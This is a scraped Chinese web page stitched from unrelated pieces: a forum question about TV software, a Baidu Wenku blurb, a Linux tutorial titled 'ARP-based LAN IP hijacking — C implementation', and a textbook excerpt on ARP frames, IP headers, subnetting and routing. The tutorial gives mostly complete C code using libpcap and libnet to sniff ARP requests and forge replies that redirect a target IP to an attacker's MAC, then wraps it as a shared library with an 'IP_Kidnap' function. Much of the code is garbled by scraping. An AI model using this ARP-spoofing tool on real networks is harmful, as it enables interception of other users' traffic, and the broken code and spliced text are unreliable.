各位大神给一个能看新英体育港澳台能看吗电视台的软件

【图文】第04讲_3_IP包、ARP、ICMP_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
评价文档:
第04讲_3_IP包、ARP、ICMP
上传于||文档简介
&&《Windows Server网络管理》电子教案
大小:527.50KB
登录百度文库,专享文档复制特权,财富值每天免费拿!
你可能喜欢基于ARP的局域网IP劫持——C语言实现_Linux教程_
基于ARP的局域网IP劫持——C语言实现
来源:人气:540
基于ARP的局域网劫持——C语言实现我站在 烈烈风中 恨不能 荡尽绵绵心痛 望苍天 四方云动 剑在手 问天下谁是英雄&&《霸王别姬》 阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。
请看下图,这是全篇文章的鸟瞰: 要想实现上图的工作流程,必须实现两个模块:
&自由的伪造ARP报文 &抓取并分析所有流经网卡的数据包 从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基&&libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。 关于libpcap的基础使用,请参考这篇文章《libpcap使用》。 下面给出一个简单的libpcap过滤抓包的程序: 1 #include &pcap.h& 2 #include &time.h& 3 #include &stdlib.h& 4 #include &stdio.h& 5
6 unsigned char glTargetIP[4]={192,168,1,99}; 7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 9 char * glNICStr="eth2";10 11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)12 {13
int * id = (int *)14
unsigned char * src_ip =glTargetIP;15
unsigned char * src_mac=glRetargetM16
unsigned char * dst_ip =packet+28;17
unsigned char * dst_mac=packet+22;18 19
intf("id: %d\n", ++(*id));20
printf("Packet length: %d\n", pkthdr-&len);21
printf("Number of bytes: %d\n", pkthdr-&caplen);22
printf("Recieved time: %s", ctime((const time_t *)&pkthdr-&ts.tv_sec)); 23
for(i=0; i&pkthdr-& ++i)26
printf(" %02x", packet[i]);28
if( (i + 1) % 16 == 0 )29
printf("\n");31
printf("\n\n");35 }36 37 int main ()38 {39
char errBuf[PCAP_ERRBUF_SIZE], * devS40
struct bpf_41 42
/* get a device */43
devStr = pcap_lookupdev(errBuf);44
if(devStr)46
printf("success: device: %s\n", devStr);48
printf("error: %s\n", errBuf);52
exit(1);53
/* open a device, wait until a packet arrives */56
pcap_t * device = pcap_open_live(glNICStr, 6, errBuf);57
if(!device)59
printf("error: pcap_open_live(): %s\n", errBuf);61
exit(1);62
/* set filter */64
pcap_compile( device,&filter,glBpfCmd,1,0 );
pcap_setfilter(device ,&filter );66
/* wait loop forever */67
int id = 0;68
pcap_loop(device, -1, getPacket, (u_char*)&id);69
pcap_close(device);71 72
return 0;73 }View Codegcc name.c -lpcap -o name 结合ARP报文伪造模块,下面给出完整实现代码:
1 #include &pcap.h&
2 #include &time.h&
3 #include &stdlib.h&
4 #include &stdio.h&
6 #include &stdio.h&
7 #include &stdlib.h&
8 #include &string.h&
9 #include &unistd.h& 10 #include &libnet.h& 11
12 #define MAC_ADDR_LEN 6 13 #define IP_ADDR_LEN 4 14
16 unsigned char glTargetIP[4]={192,168,1,99}; 17 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; 18 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; 19 char * glNICStr="eth2"; 20
21 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 22
char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 23
static char padPtr[18]; 25
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE]; 27
libnet_ptag_t p_
unsigned int i=0; 29
printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 31
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 32
= libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL) 35
printf("libnet_init error\n"); 37
return 2; 38
p_tag = libnet_build_arp( 41
ARPHRD_ETHER,//hardware type ethernet 42
ETHERTYPE_IP,//protocol type 43
MAC_ADDR_LEN,//mac length 44
IP_ADDR_LEN,//protocol length 45
arpOp,//op type 46
(u_int8_t *)src_mac,//source mac addr 47
(u_int8_t *)src_ip,//source ip addr 48
(u_int8_t *)dst_mac,//dest mac addr 49
(u_int8_t *)dst_ip,//dest ip
padPtr,//payload 51
18,//payload length 52
net_t,//libnet context 53
0//0 stands to build a new one 54
if(-1 == p_tag) 57
printf("libnet_build_arp error\n"); 59
libnet_destroy(net_t); 60
return 3; 61
p_tag = libnet_build_ethernet(//create ethernet header 64
(u_int8_t *)dst_mac,//dest mac addr 65
(u_int8_t *)src_mac,//source mac addr 66
ETHERTYPE_ARP,//protocol type 67
padPtr,//payload 68
0,//payload length 69
net_t,//libnet context 70
0//0 to build a new one 71
if(-1 == p_tag) 74
printf("libnet_build_ethernet error!\n"); 76
libnet_destroy(net_t); 77
return 4; 78
for(;i&sendTi++) 83
if(-1 == (res = libnet_write(net_t))) 84
printf("libnet_write error!\n"); 86
libnet_destroy(net_t); 87
return 5; 88
libnet_destroy(net_t); 91
return 0; 92
libnet_destroy(net_t); 94
return 6; 95
} 96 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) 97 { 98
int * id = (int *) 99
unsigned char * src_ip =glTargetIP;100
unsigned char * src_mac=glRetargetM101
unsigned char * dst_ip =packet+28;102
unsigned char * dst_mac=packet+22;103
ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 105 106
printf("id: %d\n", ++(*id));107
printf("Packet length: %d\n", pkthdr-&len);108
printf("Number of bytes: %d\n", pkthdr-&caplen);109
printf("Recieved time: %s", ctime((const time_t *)&pkthdr-&ts.tv_sec)); 110
for(i=0; i&pkthdr-& ++i)113
printf(" %02x", packet[i]);115
if( (i + 1) % 16 == 0 )116
printf("\n");118
printf("\n\n");122 }123 124 int main ()125 {126
char errBuf[PCAP_ERRBUF_SIZE], * devS127
struct bpf_128 129
/* get a device */130
devStr = pcap_lookupdev(errBuf);131
if(devStr)133
printf("success: device: %s\n", devStr);135
printf("error: %s\n", errBuf);139
exit(1);140
/* open a device, wait until a packet arrives */143
pcap_t * device = pcap_open_live(glNICStr, 6, errBuf);144
if(!device)146
printf("error: pcap_open_live(): %s\n", errBuf);148
exit(1);149
/* set filter */151
pcap_compile( device,&filter,glBpfCmd,1,0 );
pcap_setfilter(device ,&filter );153
/* wait loop forever */154
int id = 0;155
pcap_loop(device, -1, getPacket, (u_char*)&id);156
pcap_close(device);158 159
return 0;160 }View Code这个工具的验证结果已经在文章鸟瞰图中给出。下面,我们将这段代码封装成为一个共享库,以供其他程序调用。
# gcc name.c -lnet -lpcap -shared -fPIC -o name.so
2 #include &pcap.h&
3 #include &time.h&
4 #include &stdlib.h&
5 #include &stdio.h&
7 #include &stdio.h&
8 #include &stdlib.h&
9 #include &string.h& 10 #include &unistd.h& 11 #include &libnet.h& 12
13 #define MAC_ADDR_LEN 6 14 #define IP_ADDR_LEN 4 15
17 static unsigned char * glTargetIP; 18 static char * glBpfC 19 static unsigned char * glRetargetM 20 static char * glListenNICS 21 static char * glSendNICS 22
24 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 25
char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) 26
static char padPtr[18]; 28
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE]; 30
libnet_ptag_t p_
unsigned int i=0; 32
printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); 34
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); 35
= libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL) 38
printf("libnet_init error\n"); 40
return 2; 41
p_tag = libnet_build_arp( 44
ARPHRD_ETHER,//hardware type ethernet 45
ETHERTYPE_IP,//protocol type 46
MAC_ADDR_LEN,//mac length 47
IP_ADDR_LEN,//protocol length 48
arpOp,//op type 49
(u_int8_t *)src_mac,//source mac addr 50
(u_int8_t *)src_ip,//source ip addr 51
(u_int8_t *)dst_mac,//dest mac addr 52
(u_int8_t *)dst_ip,//dest ip
padPtr,//payload 54
18,//payload length 55
net_t,//libnet context 56
0//0 stands to build a new one 57
if(-1 == p_tag) 60
printf("libnet_build_arp error\n"); 62
libnet_destroy(net_t); 63
return 3; 64
p_tag = libnet_build_ethernet(//create ethernet header 67
(u_int8_t *)dst_mac,//dest mac addr 68
(u_int8_t *)src_mac,//source mac addr 69
ETHERTYPE_ARP,//protocol type 70
padPtr,//payload 71
0,//payload length 72
net_t,//libnet context 73
0//0 to build a new one 74
if(-1 == p_tag) 77
printf("libnet_build_ethernet error!\n"); 79
libnet_destroy(net_t); 80
return 4; 81
for(;i&sendTi++) 86
if(-1 == (res = libnet_write(net_t))) 87
printf("libnet_write error!\n"); 89
libnet_destroy(net_t); 90
return 5; 91
libnet_destroy(net_t); 94
return 0; 95
libnet_destroy(net_t); 97
return 6; 98
} 99 void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)100 {101
int * id = (int *)102
unsigned char * src_ip =glTargetIP;103
unsigned char * src_mac=glRetargetM104
unsigned char * dst_ip =packet+28;105
unsigned char * dst_mac=packet+22;106
ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 108 109
printf("id: %d\n", ++(*id));110
printf("Packet length: %d\n", pkthdr-&len);111
printf("Number of bytes: %d\n", pkthdr-&caplen);112
printf("Recieved time: %s", ctime((const time_t *)&pkthdr-&ts.tv_sec)); 113
for(i=0; i&pkthdr-& ++i)116
printf(" %02x", packet[i]);118
if( (i + 1) % 16 == 0 )119
printf("\n");121
printf("\n\n");125 }126 127 /* args example128 static unsigned char glTargetIP[4]={192,168,1,99};129 static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";130 static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };131 static char * glListenNICStr="eth2";132 static char * glSendNICStr="eth2";133 */134 int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,135
unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr
char errBuf[PCAP_ERRBUF_SIZE], * devS138
struct bpf_139
glTargetIP=TargetIP;140
glBpfCmd=BpfC141
glRetargetMac=RetargetM142
glSendNICStr=sendNICS143
glListenNICStr=listenNICS144 145
/* get a device */146
devStr = pcap_lookupdev(errBuf);147
if(devStr)149
printf("success: device: %s\n", devStr);151
printf("error: %s\n", errBuf);155
exit(1);156
/* open a device, wait until a packet arrives */159
pcap_t * device = pcap_open_live(glListenNICStr, 6, errBuf);160
if(!device)162
printf("error: pcap_open_live(): %s\n", errBuf);164
exit(1);165
/* set filter */167
pcap_compile( device,&filter,glBpfCmd,1,0 );
pcap_setfilter(device ,&filter );169
/* wait loop forever */170
int id = 0;171
pcap_loop(device, -1, getPacket, (u_char*)&id);172
pcap_close(device);174 175
return 0;176 } 编译后的结果: 函数原型:int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )/*
dev : pointer to nic name, "eth0" for example.
src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
dst_mac : similar as src_mac
src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
dst_ip : similar as src_ip
arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
sendTimes : how many times this packet you want to send*/int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr
)/*TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; 'BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'*/附录:
参考文章 《libpcap使用》《ARP数据包伪造》
优质网站模板您现在的位置:&&>>&&>>&&>>&&>>&正文
TCP/IP协议栈与数据包封装
  下面举一个具体的例子。
  请求帧如下(为了清晰在每行的前面加了字节计数,每行16个字节):
  以太网首部(14字节)
  0000: ff ff ff ff ff ff 00 05 5d 61 58 a8 08 06
  ARP帧(28字节)
   06 04 00 01 00 05 5d 61 58 a8 c0 a8 00 37
   00 00 00 00 c0 a8 00 02
  填充位(18字节)
   31 d2 50 10
  0030: fd 78 41 d3 00 00 00 00 00 00 00 00
  以太网首部:目的主机采用广播地址,源主机的MAC地址是00:05:5d:61:58:a8,上层协议类型0x0806表示ARP。
  ARP帧:硬件类型0x0001表示以太网,协议类型0x0800表示IP协议,硬件地址(MAC地址)长度为6,协议地址(IP地址)长度为 4,op为0x0001表示请求目的主机的MAC地址,源主机MAC地址为00:05:5d:61:58:a8,源主机IP地址为c0 a8 00 37(192.168.0.55),目的主机MAC地址全0待填写,目的主机IP地址为c0 a8 00 02(192.168.0.2)。
  由于以太网规定最小数据长度为46字节,ARP帧长度只有28字节,因此有18字节填充位,填充位的内容没有定义,与具体实现相关。
  应答帧如下:
  以太网首部
   5d 61 58 a8 00 05 5d a1 b8 40 08 06
   06 04 00 02 00 05 5d a1 b8 40 c0 a8 00 02
   5d 61 58 a8 c0 a8 00 37
  填充位
   31 d2 50 10
  0030: fd 78 41 d3 00 00 00 00 00 00 00 00
  以太网首部:目的主机的MAC地址是00:05:5d:61:58:a8,源主机的MAC地址是00:05:5d:a1:b8:40,上层协议类型0x0806表示ARP。
  ARP帧:硬件类型0x0001表示以太网,协议类型0x0800表示IP协议,硬件地址(MAC地址)长度为6,协议地址(IP地址)长度为 4,op为0x0002表示应答,源主机MAC地址为00:05:5d:a1:b8:40,源主机IP地址为c0 a8 00 02(192.168.0.2),目的主机MAC地址为00:05:5d:61:58:a8,目的主机IP地址为c0 a8 00 37(192.168.0.55)。
  思考题:如果源主机和目的主机不在同一网段,ARP请求的广播帧无法穿过路由器,源主机如何与目的主机通信?
  4. IP数据报格式
  IP数据报的格式如下(这里只讨论IPv4)
  图 36.8. IP数据报格式
  IP数据报的首部长度和数据长度都是可变长的,但总是4字节的整数倍。对于IPv4,4位版本字段是4。4位首部长度的数值是以4字节为单位的,最小值为5,也就是说首部长度最小是4x5=20字节,也就是不带任何选项的IP首部,4位能表示的最大值是15,也就是说首部长度最大是60字节。8位 TOS字段有3个位用来指定IP数据报的优先级(目前已经废弃不用),还有4个位表示可选的服务类型(最小延迟、最大淄铝俊⒆畲罂煽啃浴⒆钚〕杀),还有一个位总是0。总长度是整个数据报(包括IP首部和IP层payload)的字节数。每传一个IP数据报,16位的标识加1,可用于分片和重新组装数据报。3位标志和13位片偏移用于分片。TTL(Time to live)是这样用的:源主机为数据包设定一个生存时间,比如64,每过一个路由器就把该值减1,如果减到0就表示路由已经太长了仍然找不到目的主机的网络,就丢弃该包,因此这个生存时间的单位不是秒,而是跳(hop)。协议字段指示上层协议是TCP、UDP、ICMP还是IGMP。然后是校验和,只校验 IP首部,数据的校验由更高层协议负责。IPv4的IP地址长度为32位。选项字段的解释从略。
  想一想,前面讲了以太网帧中的最小数据长度为46字节,不足46字节的要用填充字节补上,那么如何界定这46字节里前多少个字节是IP、ARP或RARP数据报而后面是填充字节?
  5. IP地址与路由
  IPv4的IP地址长度为4字节,通常采用点分十进制表示法(dotted decimal representation)例如0xc0a80002表示为192.168.0.2。Internet被各种路由器和网关设备分隔成很多网段,为了标识不同的网段,需要把32位的IP地址划分成网络号和主机号两部分,网络号相同的各主机位于同一网段,相互间可以直接通信,网络号不同的主机之间通信则需要通过路由器转发。
  过去曾经提出一种划分网络号和主机号的方案,把所有IP地址分为五类,如下图所示
  图 36.9. IP地址类
  A类 0.0.0.0到127.255.255.255
  B类 128.0.0.0到191.255.255.255
  C类 192.0.0.0到223.255.255.255
  D类 224.0.0.0到239.255.255.255
  E类 240.0.0.0到247.255.255.255
  一个A类网络可容纳的地址数量最大,一个B类网络的地址数量是65536,一个C类网络的地址数量是256。D类地址用作多播地址,E类地址保留未用。
  随着Internet的飞速发展,这种划分方案的局限性很快显现出来,大多数组织都申请B类网络地址,导致B类地址很快就分配完了,而A类却浪费了大量地址。这种方式对网络的划分是flat的而不是层级结构(hierarchical)的,Internet上的每个路由器都必须掌握所有网络的信息,随着大量C类网络的出现,路由器需要检索的路由表越来越庞大,负担越来越重。
  针对这种情况提出了新的划分方案,称为CIDR(Classless Interdomain Routing)。网络号和主机号的划分需要用一个额外的子网掩码(subnet mask)来表示,而不能由IP地址本身的数值决定,也就是说,网络号和主机号的划分与这个IP地址是A类、B类还是C类无关,因此称为 Classless的。这样,多个子网就可以汇总(summarize)成一个Internet上的网络,例如,有8个站点都申请了C类网络,本来网络号是24位的,但是这8个站点通过同一个ISP(Internet service provider)连到Internet上,它们网络号的高21位是相同的,只有低三位不同,这8个站点就可以汇总,在Internet上只需要一个路由表项,数据包通过Internet上的路由器到达ISP,然后在ISP这边再通过次级的路由器选路到某个站点。
  下面举两个例子:
  表 36.1. 划分子网的例子1
  IP地址140.252.20.688C FC 14 44子网掩码255.255.255.0FF FF FF 00网络号140.252.20.08C FC 14 00子网地址范围140.252.20.0~140.252.20.255
  表 36.2. 划分子网的例子2
  IP地址140.252.20.688C FC 14 44子网掩码255.255.255.240FF FF FF F0网络号140.252.20.648C FC 14 40子网地址范围140.252.20.64~140.252.20.79
  可见,IP地址与子网掩码做与运算可以得到网络号,主机号从全0到全1就是子网的地址范围。IP地址和子网掩码还有一种更简洁的表示方法,例如 140.252.20.68/24,表示IP地址为140.252.20.68,子网掩码的高24位是1,也就是255.255.255.0。
  如果一个组织内部组建局域网,IP地址只用于局域网内的通信,而不直接连到Internet上,理论上使用任意的IP地址都可以,但是RFC 1918规定了用于组建局域网的私有IP地址,这些地址不会出现在Internet上,如下表所示。
  10.*,前8位是网络号,共16,777,216个地址
  172.16.*到172.31.*,前12位是网络号,共1,048,576个地址
  192.168.*,前16位是网络号,共65,536个地址
  使用私有IP地址的局域网主机虽然没有Internet的IP地址,但也可以通过代理或NAT(网络地址转换)等技术连到Internet上。
  除了私有IP地址之外,还有几种特殊的IP地址。127.*的IP地址用于本机环回(loop back),通常是127.0.0.1。loopback是系统中一种特殊的网络设备,如果发送数据包的目的地址是环回地址,或者与本机其它网络设备的IP地址相同,则数据包不会发送到网络介质上,而是通过环回设备再发回给上层协议和应用程序,主要用于。如下图所示
  图 36.10. loopback设备
  还有一些不能用作主机IP地址的特殊地址:
  目的地址为255.255.255.255,表示本网络内部广播,路由器不转发这样的广播数据包。
  主机号全为0的地址只表示网络而不能表示某个主机,如192.168.10.0(假设子网掩码为255.255.255.0)。
  目的地址的主机号为全1,表示广播至某个网络的所有主机,例如目的地址192.168.10.255表示广播至192.168.10.0网络(假设子网掩码为255.255.255.0)。
  下面介绍路由的过程,首先正式定义几个名词:
  路由(名词) 数据包从源地址到目的地址所经过的路径,由一系列路由节点组成。
  路由(动词) 某个路由节点为数据报选择投递方向的选路过程。
  路由节点 一个具有路由能力的主机或路由器,它维护一张路由表,通过查询路由表来决定向哪个接口发送数据包。
【责编:ivy】
?&[]?&[]?&[]?&[]?&[]?&[]?&[]?&[]?&[]?&[]
 友情推荐精华
 专题推荐
 ? ? ? ? ? ? ? ? ? ?
 今日更新
?&?&?&?&?&?&?&?&?&?&
 认证培训
 频道精选
 思科频道导航

我要回帖

更多关于 港澳台电视台 的文章

 

随机推荐